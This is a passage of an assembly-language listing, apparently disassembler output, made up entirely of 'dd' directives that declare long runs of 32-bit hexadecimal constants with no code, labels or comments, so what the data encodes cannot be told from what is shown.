		dd 0C06809FFh, 9ABE637h, 986655Ch, 0F712B9E5h, 0B02853FAh
		dd 23053554h, 104869Ch,	0FD28C1Ch, 2DEA60EEh, 51625842h
		dd 2395DCh, 0F180D9F6h,	47069FFDh, 1AB13052h, 0ACB1C12Eh
		dd 0B40E8EB1h, 66E60092h, 24F02058h, 1710525Ah,	77DDF9AFh
		dd 54D6E832h, 18A6E159h, 588BB838h, 5C5690FFh, 68530F56h
		dd 2D2962A8h, 0E2E42F82h, 440AF409h, 4CBA3090h,	4FCC2509h
		dd 397AF560h, 2FB5335Ch, 5E77869Bh, 0B41020D4h,	804FFAF8h
		dd 0C44777FBh, 14CB0E6h, 9505D003h, 0E134D22Eh,	0B23A03E3h
		dd 0D83FCBDCh, 184B7703h, 3E880E8Fh, 9C26EC80h,	2809EE51h
		dd 0D8E5DD57h, 92417888h, 7BCDA9EAh, 5BEB2664h,	0C2BAF8BEh
		dd 0F31C6668h, 74E904A2h, 4EB1307h, 38866073h, 1FF77D8Bh
		dd 4BD4F6E6h, 0B9901E51h, 0BA055205h, 3A91247Ah, 4DAE9E01h
		dd 96856537h, 81F508CDh, 6DF0440Ch, 754607CEh, 0C663B967h
		dd 57F5F920h, 91ED46Eh,	347E5F08h, 0A9F5E951h, 0FF647A92h
		dd 6857AAC0h, 0F8765E4Ch, 107BC48Dh, 0B40EAC16h, 0F35E0DFAh
		dd 0ABD90123h, 0CDAC2B92h, 0F3A9EEB4h, 2BCE8D86h, 3B256810h
		dd 161FE90Bh, 88F60E94h, 0B1011B94h, 66C8282Ah,	7BD55A20h
		dd 0F9CEA8E6h, 0B65F975Fh, 0B3C15C4Ah, 0ACF8A689h, 41CCD1BFh
		dd 7B148D68h, 0EC210AE7h, 71858A89h, 8FF82586h,	0B33B310Fh
		dd 7C59E621h, 0AD08951Eh, 0FDBF24h, 0F380DBF6h,	8EBC039h
		dd 2CAC0CC3h, 0E9D88056h, 0CE7D5A4Ah, 0F3646070h, 90E17895h
		dd 90D4B785h, 42963D07h, 0EF14DE9Eh, 7FEC4808h,	7EB3025Ah
		dd 4200082Eh, 0D60B9915h, 0A58A89FEh, 0F8E62520h, 1158A914h
		dd 2FB5757Ah, 0FEAFBC3Dh, 2A7EBE34h, 0BF8163CEh, 5806F67Ch
		dd 16B9D329h, 0BB47F9E9h, 237173CAh, 0FCA5FEEDh, 0AA0513B3h
		dd 55D63EB1h, 0CB90E5D8h, 45BB8888h, 56143A0Fh,	0BF1A7D4Bh
		dd 0F763FD46h, 0E0B9CABh, 0D8DBF75Fh, 376825BBh, 230209FCh
		dd 404F1A05h, 7D433046h, 978B907Dh, 99A0C97Ah, 49173C39h
		dd 2FA2969h, 9E2CEFC8h,	0C96E4DFh, 3B8873B3h, 8C30E910h
		dd 89C2DDD3h, 0F87412C9h, 2755B831h, 0EC30EFCh,	0D7BFE4F0h
		dd 63335992h, 0D9D193DAh, 9F2847C9h, 0FCCCD4B7h, 4C2F5DEDh
		dd 0E951F076h, 88425919h, 0CCFD3076h, 74B5BE0Ch, 0E07E4C31h
		dd 0DFD3789h, 0F8C99700h, 0BEE9F209h, 0CD8EA8C7h, 0A5D2BB0Eh
		dd 0E1030153h, 15AD789h, 9D647B18h, 44FB2942h, 0E90804D5h
		dd 5AB0B8A5h, 0C8C4B3A2h, 4D680284h, 62405C12h,	70B351Fh
		dd 59609117h, 98163964h, 150A55ADh, 4C1BE97Eh, 40B95C07h
		dd 0E6B696ABh, 8A310269h, 0CD2902EEh, 7720E944h, 56619530h
		dd 0D081D32Ch, 4410E304h, 0FC4AFE35h, 85062F44h, 0D9EE89A2h
		dd 5C9D009Fh, 6212204Ch, 707D601h, 3127231Ah, 0D1BEEDE3h
		dd 53FACEF9h, 0BC5A1318h, 1E40E644h, 0F1FE7F98h, 7E295D34h
		dd 520B5010h, 658AD3F5h, 0ADCBE90Bh, 0DE96B2DCh, 0AA8457BBh
		dd 93A04779h, 0C49CB2h,	0B753C4FEh, 0FC4B204Dh,	2A05F165h
		dd 0CD2CE30h, 7CFB81C3h, 285B48h, 0F00EFA4Ah, 4E036CE9h
		dd 890F1240h, 0C377C722h, 183B1C07h, 0E5311556h, 0F7C62FD8h
		dd 4B589818h, 42F250C0h, 20E94A87h, 2D059909h, 296660F0h
		dd 0E9C21AFCh, 7957B5BCh, 313A0259h, 51552951h,	0BAEE1DBFh
		dd 0E9450702h, 175A68BBh, 5DE268BFh, 3C8AF655h,	3377F534h
		dd 51B4ED83h, 0E5052DE6h, 159527B9h, 0A8FBF31Ch, 0C65A8306h
		dd 9E3514BBh, 282E3D31h, 6AFD7ADDh, 91C9B627h, 74D53BC7h
		dd 3CD68EAh, 505A0940h,	90CA8158h, 50DF40AAh, 2CCDB805h
		dd 8C0C69ADh, 25C3599Ah, 78820603h, 13D57C5Dh, 2BC0C021h
		dd 49453F86h, 49C16118h, 7D4F2768h, 7149AC25h, 8CAFDD51h
		dd 0C4F1992Bh, 0DE1D4A5h, 0CB72DEF5h, 0C18B963Ch, 65FD837Bh
		dd 0E7602C94h, 0B8615902h, 0CA1F2C4Bh, 0AD087AFEh, 57520B1Eh
		dd 2BFDA439h, 0DCBE2413h, 5BD489EEh, 61070816h,	980D0429h
		dd 0FF37AAFEh, 0CABDD9A5h, 0BDA7D73Bh, 0FF9504F8h, 56B72ABEh
		dd 55E9705Eh, 6AE2154Ah, 4E5CE9A0h, 596ABBBEh, 53BBBE47h
		dd 95E2A577h, 0D0FE5E57h, 5B95E4A8h, 5D5F89C8h,	6B99F9F5h
		dd 57F2E05Eh, 938B451Ah, 0B525EB44h, 87B8699Ch,	0A8FB22E0h
		dd 2F5EF59Fh, 0DD60E5C1h, 0D49D11B6h, 0E8206199h, 513D6F66h
		dd 0EB70C461h, 1643B658h, 0C48CEF3Fh, 24334B75h, 5F962184h
		dd 50222D17h, 2B4F5070h, 9F93EEFh, 0D9362068h, 0B09A92EAh
		dd 0ED3280BBh, 61E6069Bh, 0CAF9B69Dh, 48622ECFh, 1361063h
		dd 1EF0CD81h, 8DC8420Fh, 195A6026h, 0AC06A5E5h,	77253AB0h
		dd 0E4B376E4h, 946B21D2h, 71517492h, 2EB23572h,	0F1F75021h
		dd 43C3DFE9h, 4C34FF14h, 0BAA813Fh, 66D5FEA1h, 0AB512AF5h
		dd 56D124D3h, 1CC5016Eh, 352918BBh, 1C0806D6h, 18E72DB5h
		dd 0E9F3426Ah, 90F5469Dh, 0BC978425h, 39B13EE5h, 2A29315Fh
		dd 0BD809EACh, 41A93F70h, 0AA50E8A2h, 80B6581Ch, 0F1374E3Bh
		dd 281FC390h, 648898F3h, 0BBAC3EB8h, 0F0923D87h, 0C7A7A02Ch
		dd 76FC093Dh, 8DF7007Dh, 4776EB79h, 7C9C6EE9h, 0E567B20Eh
		dd 4592D0B4h, 451241C1h, 29305C01h, 93B41061h, 44F7B825h
		dd 9FF9D78h, 0FC9F09DFh, 0C331626Fh, 6B7F71C1h,	80C03E09h
		dd 3DE680A7h, 7FC672FEh, 9C5A25CEh, 1F8BAF7Fh, 0F3AF2D66h
		dd 2317093Dh, 6390EA77h, 7985CC33h, 0D7FF2BC4h,	5452FC9Fh
		dd 0C1FBA264h, 5B56F8AEh, 2B9E2DAAh, 5F8494F2h,	7C6802FEh
		dd 97F5F972h, 0CF85FAEDh, 5F8EB7BBh, 3A27038Bh,	60116868h
		dd 0E13F1B82h, 0F724C580h, 0F6E74AA1h, 4E2F48B0h, 0CA318EFh
		dd 39246CCCh, 56166D43h, 0CD334F9h, 83659D43h, 336A02F8h
		dd 0A1127A86h, 3C7864E2h, 0EC58F347h, 5CA00C9Eh, 3816EA4Fh
		dd 8305034Ch, 0CDFFB11Bh, 80642BE9h, 0A683C8EEh, 53B4644Ah
		dd 26D70EF2h, 0CAC00729h, 0C775F9Ah, 1BBF570Eh,	90F9E4Ah
		dd 220373FAh, 0EC2CC0B8h, 292FDBFCh, 53831CDBh,	10354D68h
		dd 4BF87DDDh, 0E2EF6612h, 0BDBDD38Dh, 0D8038304h, 0F4E4FA57h
		dd 0FD9805D9h, 4EF8987h, 0EEAD5C5Ch, 0BED297B2h, 25E95E8Ch
		dd 5048923Bh, 689F97C0h, 9FA8AD13h, 0E9895373h,	0F7DBAB40h
		dd 74A7C4E7h, 0BCD92D2Ch, 8527316Ah, 0CC1F7CFh,	0D86AD45Eh
		dd 24A1566h, 0E1BAF035h, 84B87B55h, 0D5FDAFE4h,	9D400300h
		dd 0B591E973h, 0BD01FB95h, 220B15ADh, 0DFFC1AD5h, 0E0826082h
		dd 284594DDh, 2F895854h, 38793F32h, 516EDB89h, 1F7DA82Ch
		dd 80513E6Ch, 5FE3CE0h,	0F094959h, 0A3F8E48Ch, 7A33D85h
		dd 88E8B646h, 0E92994F4h, 3CEF0215h, 8F5D9A68h,	8C70AFFh
		dd 0A3099A24h, 0DC3BDDA2h, 759E0D61h, 8B2AFEE5h, 0B4500FD2h
		dd 0E9CCC157h, 346A845Bh, 2DA9BA96h, 0A8E1C316h, 6583C5F5h
		dd 2E84DAEh, 76764706h,	535E5D01h, 0FC8079F9h, 58128D3Eh
		dd 0D6EAE90Bh, 4ABB7DFEh, 0EFBD16E6h, 505200F3h, 9E2877B8h
		dd 0A4B86A5Ah, 117B6478h, 48FAED05h, 13EC20F9h,	615AE168h
		dd 3BB4AE6Bh, 4F680970h, 2D3D9259h, 0FB5A7A74h,	0CD4C8290h
		dd 1BBCD2E3h, 342A1C7h
		dd 0F838410Eh, 4D388439h, 11A8C5E9h, 0BD37FF4Eh, 5C227C3h
		dd 236BB18h, 0E33A81AFh, 426DAD9Ch, 0AF6755Bh, 732E680Eh
		dd 80B9A163h, 32E93EF5h, 0C6C1750Dh, 0F69ED0F7h, 58B455h
		dd 880FCBFEh, 7AF12246h, 68F0BAA8h, 50912A36h, 5A4323ADh
		dd 75FCFDE9h, 9F0BCA40h, 0D15D8F09h, 0DDCBB0Ch,	76E9030Dh
		dd 6A1F2574h, 5B5DDDDFh, 50610C10h, 251706B1h, 3FB86A11h
		dd 0CA10950h, 4D69C97Ah, 6E12840Eh, 60A89385h, 28F0092Dh
		dd 80914A20h, 301BF5BDh, 0EA0C25D2h, 0D626DDF7h, 0ED808F89h
		dd 6D307666h, 81FD4C01h, 275F0840h, 135F07E9h, 0AFD0C263h
		dd 0DCB7ABA2h, 0CD772728h, 0C47D1239h, 1634BC48h, 61AB315Dh
		dd 6BFDE9AFh, 33B5CD16h, 0D8282CE5h, 5555316h, 0EB582807h
		dd 72AA2B00h, 6229967Fh, 25529CFDh, 8FA25C0Bh, 611E2E26h
		dd 2BA5C45h, 59D08A7Eh,	2F7F562h, 51FAD461h, 0C68B692Ch
		dd 0BF2E2C94h, 0C1ADC0B3h, 916AD51Dh, 141E081Ch, 631700EBh
		dd 521C6064h, 4295BA01h, 46E9578Fh, 8AC7122Bh, 53BB5E74h
		dd 0CEF900F0h, 7E184380h, 488AFEC1h, 72311647h,	0A84F0878h
		dd 4B20E67Dh, 7B31A7DFh, 0AAC0EE5Eh, 2728D8B4h,	2C5F58E6h
		dd 4B2AC661h, 0BA837453h, 0FE0225DCh, 4D7E952Ch, 0C19B8358h
		dd 5225C1D7h, 48C8F60Bh, 1BC06E36h, 2E4573EAh, 0E2C11658h
		dd 0A2FE0104h, 0E752D61Ch, 240502FBh, 0B4156A90h, 0E03B70A1h
		dd 0FA99F96Ch, 0DF396D0Bh, 8DCF3B30h, 0B24764BEh, 0AA89C089h
		dd 0BD8BB2EAh, 76F00158h, 0AD574F28h, 0C7748617h, 0C93622F8h
		dd 0D2A09226h, 86BCB6A3h, 0D03CCA51h, 66410789h, 8B6BD85Eh
		dd 0E5C02EC1h, 86205303h, 12C76380h, 0C3005EFh,	3075064Dh
		dd 3172C9FDh, 0F594AA1h, 0ACF16AB7h, 1D0C4BD5h,	1CFE8E2Fh
		dd 0EAD986DFh, 3CF4B3E6h, 0BF4916ACh, 9783DC28h, 0B08BB9F3h
		dd 971A3699h, 9FDE96D5h, 68F978E8h, 83991AE2h, 12FC5094h
		dd 23A330B3h, 1E55E305h, 2DE6C00Ch, 32134B39h, 6E03D2F7h
		dd 0E1360631h, 9C20D729h, 0C83581CEh, 40060D22h, 0BD138F0Fh
		dd 1E5D9D16h, 0F15A5FEDh, 5068B43h, 0BFDB80F7h,	5CA7555Dh
		dd 6F06AC71h, 0C1C6E40h, 99C89D00h, 53652D6Dh, 1510A15h
		dd 2F0705F8h, 5516A066h, 41B1AFE9h, 0AB936623h,	8B2CE19Ah
		dd 315F85FAh, 9708E2C5h, 4F5683E0h, 0F4C5AEBEh,	3B3FB5AFh
		dd 3A5067ACh, 0B35E0FDh, 4E9C15Bh, 0F780980Eh, 1AD9F22h
		dd 2D5FCB5Ch, 0B5F8437Fh, 0DC841DA9h, 2779E3D7h, 444BF458h
		dd 0B9D3D2E8h, 96B5D4E6h, 52562598h, 95A33C7Dh,	0D77AD1FCh
		dd 0E927A2C6h, 99C039Bh, 0DBC0B9C6h, 6176E224h,	0EE800A8Dh
		dd 0FCF431BAh, 5CB761E0h, 12834AA7h, 0D3674478h, 0FE5F0BA7h
		dd 5EF77055h, 54DD397h,	0EB1C4709h, 0ACD7C78Ah,	9FB755C1h
		dd 2894B028h, 0DD0BE7E1h, 4E5F60E2h, 2160BF49h,	6C251735h
		dd 2CF77C57h, 0FB20092Ch, 72C2EAFh, 5D4A1D12h, 0F8AA9AD4h
		dd 0DA8916E0h, 87FC770Dh, 0A684370h, 2DC25B95h,	669B09F9h
		dd 81619844h, 927A3D8h,	40283E20h, 0DB5CBECCh, 137E3DB4h
		dd 0D998E80h, 4AF4A76Eh, 4CC425E2h, 26A7FA55h, 0A4189394h
		dd 2D5A72CBh, 0C75B0101h, 0BB840F33h, 7A288E65h, 66FC2082h
		dd 0DBE477F6h, 0B08050D3h, 0EA5866A6h, 335978F1h, 4416AEC9h
		dd 22CDCB83h, 5D7A5859h, 0D4D671E7h, 0FE5BFAE9h, 57293262h
		dd 0E9C154F4h, 533FB1CDh, 0F032007Ah, 5B7FE030h, 22276B91h
		dd 3E30D23h, 510013E8h,	0D6686C9Dh, 0B75CB0h, 872D2C98h
		dd 529ADDF5h, 921E0502h, 52810FA8h, 5BF800E8h, 4BBA6660h
		dd 0F5785079h, 0A7AFC0BDh, 29ACBD5Dh, 0C5000F2Dh, 0E1BFCF83h
		dd 4860F9A6h, 1E007498h, 8A12C9BDh, 0E0C29BD7h,	0F7A0767Bh
		dd 50F7D4E3h, 0BE51C25Fh, 97411800h, 33FF5829h,	0F5B5038Bh
		dd 5F07FA2Bh, 8360F2BAh, 0DE2C2FC8h, 4025165Dh,	19A0B3Dh
		dd 89603C2Bh, 0BF068D85h, 6140F332h, 4E1C1666h,	0D752007Dh
		dd 0A9852957h, 8F262560h, 48A0B403h, 17E7583h, 5EEFC280h
		dd 8F10E94Bh, 74A6FD9h,	3BB0F441h, 20760AEh, 7301EB40h
		dd 0D177C061h, 850F04CAh, 0BEFF979Eh, 5A6E17F8h, 0A3DFED00h
		dd 0A666FD3Ah, 3D8F0060h, 524DB3FEh, 0E400A7DCh, 0C4367DB9h
		dd 96CC4Fh, 79E6F729h, 9025C5D2h, 0DDFAE40Eh, 0C089C09Dh
		dd 7C9BD676h, 0B9101D3Dh, 0FD2880C3h, 0DD0855C5h, 50A42531h
		dd 45AA799h, 0B1D20CC3h, 6C271075h, 1EC5F85Eh, 1E0F75Ah
		dd 6DB02721h, 28A1FC9Ah, 9903543Ah, 662944D9h, 0AD44D508h
		dd 0B422844Dh, 3D324242h, 8479C448h, 44493722h,	0AA00821Eh
		dd 0E26DDA7Bh, 4F4BF24h, 962985FFh, 62C5C0B3h, 0A30B2086h
		dd 0DAA147h, 95843101h,	6B78043Fh, 0C0628C32h, 5C2B14B4h
		dd 4DDD900h, 0B29A5831h, 2E57004Dh, 0C70A28Ch, 0E3EC54A9h
		dd 42DD1D00h, 0E2863303h, 0C36900A3h, 728D3E24h, 0F0009A59h
		dd 18C61498h, 0EAB82F46h, 5F780030h, 0A0490771h, 751D2124h
		dd 58070E3h, 38DA3F8Dh,	0C00D0098h, 0EA29178h, 0EE003B53h
		dd 56E2DA9h, 76A8F93h, 635B620Bh, 2444309Dh, 12396B8Ah
		dd 0C8DD80BCh, 0A01551BAh, 0FD290003h, 5D45F280h, 0B97E69E4h
		dd 0E49B1A28h, 9C521EC0h, 31B5AF0h, 80F85545h, 4D90CF2Bh
		dd 5E01E397h, 6DD24117h, 96202A6Fh, 6C4300B8h, 1F98A040h
		dd 307B6B2Dh, 99F0B500h, 87F22B02h, 7A3500A4h, 76250463h
		dd 9700F44Bh, 1F5075B0h, 0FE0A0503h, 5D2600CDh,	1539D49Bh
		dd 1900A7B5h, 0C0ABB6F6h, 70D7857h, 0EBF36988h,	9055C042h
		dd 0EE0074D0h, 0DA29924Ah, 135E76C3h, 0B217D9h,	5B1D4912h
		dd 0AD7DED33h, 4F77CE00h, 9F7D7AE8h, 8F6100F6h,	0F416D6D7h
		dd 580ACB08h, 844E8A29h, 0F6A59F80h, 0FD67C63h,	34E1C99Eh
		dd 0A84BAF20h, 7F001AD1h, 5EC59ADAh, 0A6F291h, 0FF3D7B0Dh
		dd 17C7C438h, 0EF519B00h, 157973ACh, 0AF8E221Dh, 0C269E13Eh
		dd 7148E700h, 0D615E526h, 498D7000h, 39A347F6h,	4BC90063h
		dd 0A11BC5BBh, 0B492ED1Dh, 0DD3F587Bh, 1CC8E7h,	3ACB944Eh
		dd 38433D6h, 0E30A16E2h, 66C849F8h, 80006740h, 86A7DBFFh
		dd 1AC0F2Ah, 7EA5EB04h,	7023BF5Fh, 8E726AFCh, 24EAAE00h
		dd 8345D736h, 0DB970C65h, 0A7307C75h, 0BBE46000h, 66A0AD1Ah
		dd 2AF11954h, 103490E9h, 606DCAh, 38A34993h, 3D8903BBh
		dd 1AD6F606h, 480186h, 98C671AAh, 8DEE194Bh, 740F59E6h
		dd 4029C094h, 9D44E840h, 24F77BBDh, 80E1B3h, 8AFE34C2h
		dd 61054A91h, 0C8EFAC24h, 0CCB32E80h, 0BF5A050Fh, 14A8D9ADh
		dd 7304CC90h, 0C18A6582h, 0DC67CC92h, 5800AE11h, 8E7AF56Eh
		dd 305F6BD8h, 2914D259h, 3700ADBCh, 83CA6350h, 7552CE1Ah
		dd 8154046Ch, 80341C95h, 5F45AAF8h, 907A3Bh, 0B23B174Dh
		dd 1FAA192h, 0FDF46730h, 0E4518E8Fh, 8005365h, 0C1C8C224h
		dd 1D1D38B5h, 0C1270123h, 6C8A2892h, 83A88099h,	0D57546F3h
		dd 0C0663E91h, 17035207h, 1161EFA8h, 80BD33BAh,	0BF8F5D30h
		dd 0C3BCF52Ch, 6F751F10h, 4E8B1590h, 0C4C35500h, 2C789D11h
		dd 0A79807E5h, 2826D0h,	0F97F132Bh, 7B182403h, 0E84CA1EBh
		dd 0B8D2ABB8h, 7C4700B1h, 646CE5F1h, 3A009A5Ah,	0DA459642h
		dd 3C759Dh, 286D4CF3h, 0D9F24E94h, 0D5744700h, 0BCBF22AFh
		dd 0E83330A1h, 6C8BE2DCh, 257F3EFAh, 0FCEF9751h, 0E548BB79h
		dd 1F740314h, 0D06F13D1h
		dd 4C0BA0A6h, 6E01886Dh, 97489616h, 0C29B024Ah,	0A0DC8A54h
		dd 0A009E800h, 8981AAh,	0C9A51BAEh, 254F43E7h, 650E9A00h
		dd 16B1CBF8h, 5A5E0014h, 682C1FE8h, 920085F9h, 8AFAF01Bh
		dd 6AE68Dh, 659B1008h, 2F8B6E76h, 3E75E101h, 900F6B69h
		dd 0FE87C8F5h, 30368AE5h, 108D6895h, 0DF49EB03h, 0E8B35Eh
		dd 79827FC8h, 0D2D9611Fh, 732DE600h, 875070BCh,	1C7120h
		dd 3EE2C6DDh, 0E6D8E2Ah, 84A4580Fh, 371B20D4h, 82EA40h
		dd 0C52086Fh, 8AEC8F1Ah, 0D2007498h, 7A368871h,	0C001EF7Fh
		dd 0FE35ED78h, 61CC304h, 2A000BEBh, 0C23D3EFCh,	54D0F18h
		dd 2EA0C6F0h, 8F63AA65h, 7900D576h, 991DABB7h, 3D71062Fh
		dd 0D007238h, 0ED496C0Bh, 50C05903h, 0B8AE267Dh, 2D8700ADh
		dd 0C0E9727Eh, 0E8070B6Bh, 4295A362h, 40CD3E50h, 0CB090777h
		dd 2493325Fh, 2B94C096h, 0F401EDF1h, 5D1362D8h,	2D880BDh
		dd 0EFFCF517h, 0F66008Bh, 7453A59h, 30F4E9D2h, 0B8B46B00h
		dd 5678078h, 0E8D86063h, 36AF188h, 894964Ch, 47BF26Dh
		dd 0D03D93AFh, 3C382F6Ch, 0A64E1100h, 0EF5819C4h, 2E3600F1h
		dd 65D19AB8h, 4648B4B3h, 0E6B71F58h, 29E73480h,	7B5244h
		dd 0B8C89513h, 0ED414EDCh, 787F3902h, 0E08CFE3Fh, 9010E320h
		dd 7D600F0h, 5BA96FC4h,	0E67E757Bh, 639CB7Eh, 8BA400A2h
		dd 0F6521307h, 6C5F4CD1h, 12FC0071h, 3282A73Bh,	2E0E978Dh
		dd 23095D87h, 3C64FA4h,	740C9E56h, 6FD0842Dh, 0D80507D4h
		dd 1EC29D76h, 0B8082783h, 99577Eh, 7AADD7F3h, 9381FD6Ah
		dd 1EF96300h, 3C279F1Bh, 244D0F53h, 4A603DFBh, 0D39996EBh
		dd 0DCB61500h, 36531707h, 3FDB895h, 0B0DEF947h,	0C053DB14h
		dd 68A207E0h, 0E1601C9Bh, 0D3590B25h, 0E60C0038h, 3BB4D756h
		dd 0CA004E78h, 8D1D81C3h, 1ACEA11h, 0F22C38C0h,	0C8C13A76h
		dd 0A3030956h, 4F0DEBD5h, 60A9AABDh, 0EF5EC4h, 0C6294E37h
		dd 3B063E3h, 12DD4600h,	3E413294h, 679F3DCAh, 4C961D80h
		dd 0E140ECD2h, 2737FB00h, 8DDF487Eh, 0E6D02486h, 20990F74h
		dd 66C402B3h, 7C630301h, 0E53F56D8h, 0C2AF7F00h, 55C66554h
		dd 2090F1h, 7AE4D5BFh, 3B99C825h, 18F0FE37h, 673EA730h
		dd 9EC70324h, 793FB166h, 21D44AF8h, 510BF200h, 6C4BAE46h
		dd 12FF01EEh, 0A1984289h, 99A7FCEDh, 0EA90DDE4h, 20822F25h
		dd 61893B14h, 154707D1h, 90A1BD2Ah, 39E4E074h, 1490F500h
		dd 8B78B19Fh, 23E31E68h, 4CE6B2h, 122EB72Ah, 0C890C6B0h
		dd 0A046A200h, 7E5F3397h, 0FC1649C2h, 0EA4B9C00h, 0D065D2C0h
		dd 390150Fh, 84280026h,	0B068C4B8h, 6AA4CE8h, 7412D000h
		dd 85FCBF0Ah, 22162C98h, 4B1D9246h, 58B0E046h, 3E2FC19h
		dd 0B36C2DA3h, 0E6E9751Eh, 0CD18DCF0h, 0C2E39600h, 0EFDC492Eh
		dd 4808285Dh, 9A6200A0h, 0EFBE0AFh, 522E9157h, 5900A629h
		dd 900C222Fh, 0F09033h,	3E867605h, 71195F16h, 0C196DE0Fh
		dd 550E67E9h, 396CAD80h, 4766004Dh, 17CEF8B2h, 8902A74Bh
		dd 5DF68C35h, 8281E0B9h, 55C20326h, 0C571A37Fh,	0B3E0A6A3h
		dd 0B8F4BFF5h, 84794400h, 5C052597h, 0D23C3BB7h, 0AA9ED980h
		dd 82BA143Fh, 0FC007FFEh, 0D0BD5613h, 51AE15Bh,	0BCAD018Bh
		dd 3921C0FEh, 4004246h,	0AA1F7B09h, 83F768h, 0AC37195h
		dd 0A60CA0D9h, 0E5871518h, 5B9030h, 616533F3h, 7B6A1BBh
		dd 30134D00h, 96865C1Bh, 0DB661F75h, 80042E44h,	62FB683Eh
		dd 0A41E597Ch, 0F180DE88h, 5D20CA39h, 57DB0081h, 0A8742907h
		dd 3500E4DDh, 55249480h, 0E5314h, 402867CBh, 0B17A8138h
		dd 0F47E4700h, 0AB35421Bh, 8A9F0192h, 11D8202Ch, 0F31E4D3h
		dd 0BE00CC75h, 54F14DFh, 30B667E1h, 8E42764Ah, 60004795h
		dd 85825B29h, 2C94ECCh,	0E3FB21DCh, 33C03CB0h, 870084F8h
		dd 54395057h, 0C815B4h,	0DB2C193Dh, 0F45ECFD1h,	0E955F300h
		dd 0E0C7A4Eh, 49EF006Dh, 0D762DCE5h, 0FB00B9D0h, 54772B2Dh
		dd 5AE913h, 7BA420DAh, 645E6107h, 0DBCDD500h, 603BFFF5h
		dd 44C000CCh, 0A49C90B7h, 0D300E9C9h, 20477D2Ah, 2F8593h
		dd 5CEEA713h, 714A81EFh, 2DEA21Eh, 149B3300h, 0A677C0Eh
		dd 0FB3E77A0h, 761709A0h, 0D10ADC80h, 2500BBEAh, 371C4972h
		dd 678B57h, 9E662A10h, 0D517904Ah, 8F0728FEh, 0F2C3C45Fh
		dd 4924601Eh, 4EDC1B3Fh, 69780EBEh, 0A0D4D820h,	200C995h
		dd 5ECD39A3h, 2E937A8Dh, 53E05D3h, 404FACAEh, 0E623D18Ch
		dd 21387D4h, 3C80B543h,	66C52Ah, 4EBE89BFh, 321D5218h
		dd 0C726F403h, 0D2446D9Ah, 0A73CE86Bh, 9D5C0067h, 0F585202Ah
		dd 21E8D02Ch, 2031C734h, 4010FF18h, 1D88906h, 0E813FD4Eh
		dd 0AF8C11C0h, 79A6D3Ch, 101681ABh, 4BFD32C0h, 0F7A57465h
		dd 0E507342Ch, 0C1ED3A3Bh, 0D4B14F60h, 811DE373h, 84EA5F96h
		dd 25A6BA0Fh, 199D4D7h,	781E802Ah, 5C08AC8h, 9D7A3165h
		dd 0DC16B928h, 853824E8h, 95301D4Bh, 0B6323700h, 0D3A5A725h
		dd 0A8280C51h, 0C0612A81h, 10490CE8h, 0CF4D060h, 0B669117Ch
		dd 0A90AA6C0h, 9438B96Ch, 85BBFB00h, 0D093FFh, 0B4EE8B5Fh
		dd 378D1535h, 0F957C001h, 0CDB7652Fh, 7C5BE4h, 42D7DEF4h
		dd 0DCDAA3C9h, 48CFB000h, 14E4E383h, 0D3A1580h,	41EBC70h
		dd 0FC1D8338h, 0F3C09A6Fh, 0D9C69C25h, 4CB1BBA0h, 9303F791h
		dd 8126F377h, 0A43F2103h, 1EC522Ah, 0D7421911h,	40AC1CBCh
		dd 0A0E3F41Ch, 27114860h, 30829522h, 0E81EC28h,	0C31DBA9h
		dd 0AB6411F7h, 0A469B2F8h, 0D9DF0FC4h, 8D48DEDh, 22F0496Fh
		dd 0EB641DF6h, 1502998h, 52EC6816h, 2904108Dh, 0AF4C0045h
		dd 98974ABh, 336037DAh,	0BC36E3C8h, 79E764Eh, 26AA6738h
		dd 0C4103C3Ch, 1DD38F04h, 2491319Bh, 0D8DFAEBCh, 1B65902h
		dd 3EEB019Ch, 47DE061Ch, 32B4C3A4h, 8CCE09C1h, 0A9EF0F10h
		dd 0E283CD0h, 7D2FB600h, 78C9BF9h, 635BB300h, 0BDAC24F3h
		dd 28F01EF8h, 18298C3Ah, 69182E38h, 0A868F79Eh,	792D0C40h
		dd 6C1098C2h, 6574ED1Eh, 0FDC2975Eh, 900FCF80h,	3A91F8Ch
		dd 0EA22BF0h, 18B8134Ch, 0A744471h, 6E0F261Eh, 7D0AE097h
		dd 3C038C41h, 0B0B0573Ah, 362E87E2h, 18696EA1h,	0AC312475h
		dd 81DA90F1h, 3C050C40h, 27920E6Bh, 58092AB3h, 8A112E81h
		dd 816CEC25h, 2484EA50h, 3D058D78h, 8252CA28h, 9ED7CC40h
		dd 3B35437h, 5D225113h,	88B80575h, 3A001915h, 25084958h
		dd 7C6D87FBh, 0A0A84016h, 2C5749h, 0FCCBC597h, 0F987A5h
		dd 6C3B206Ah, 46780C48h, 0A70FEB00h, 9D2537C2h,	30512F1h
		dd 0E2540EE3h, 0AD526C80h, 8C6E2A41h, 0C83420D0h, 4F7A54h
		dd 56737DDFh, 655C55ECh, 4C0DE8F9h, 74422206h, 7A29CBD3h
		dd 1658F8DAh, 14B3931h,	0D3038659h, 4EDE0EFh, 0C800EC7Ch
		dd 0D2C39606h, 1DC2EB8h, 0FF8A8274h, 30D69D14h,	0B600C594h
		dd 0C0D2CF33h, 95B33Dh,	1B3E1109h, 431DADECh, 8887DF00h
		dd 0C83D9FEAh, 0BE1400D2h, 1E6328Dh, 9000B599h,	0EB1B3CDBh
		dd 0C4B5BCDh, 0A9DF66Fh, 0A60FC820h, 0F44349E3h, 0D8E3E120h
		dd 380CF618h, 0C0F03B43h, 548F05D2h, 80154FF3h,	7D6D17DEh
		dd 21E108CCh, 0F34C002Eh, 0DF843DCFh, 4A016581h, 2197D12Fh
		dd 8840D2C2h, 310AE0Eh,	1569981Fh, 8100658Eh, 0A0AC805Eh
		dd 0ADF274Bh, 0E305896Fh, 0B2730188h, 0BB1D61BFh, 0E9808528h
		dd 0B0413422h, 0F51AA43Ch
		dd 309B1320h, 769C8BDh,	4A15DC62h, 0C009E0h, 9517BE59h
		dd 0FE76B224h, 5382001Ch, 3A75AEE1h, 0CA009F91h, 0CD73650Bh
		dd 6715052h, 800748C4h,	0D500E1F3h, 309F2587h, 0C04D341Dh
		dd 47806260h, 3A306509h, 7261299Bh, 3B54E0D6h, 71873175h
		dd 205AED4Dh, 0CB4B5E6Bh, 72C88700h, 436A48CCh,	7078D8DEh
		dd 4225F55h, 53EF3C15h,	4B3C9AA2h, 1AA194EBh, 0E7786084h
		dd 50384187h, 30039427h, 2E393A18h, 0E0A1C237h,	8511858h
		dd 7D154AF3h, 2F4086C4h, 50C2F349h, 60689C00h, 9D4DB336h
		dd 4408483Dh, 19221C0Ah, 27080BCh, 0B27117E4h, 0A340CB00h
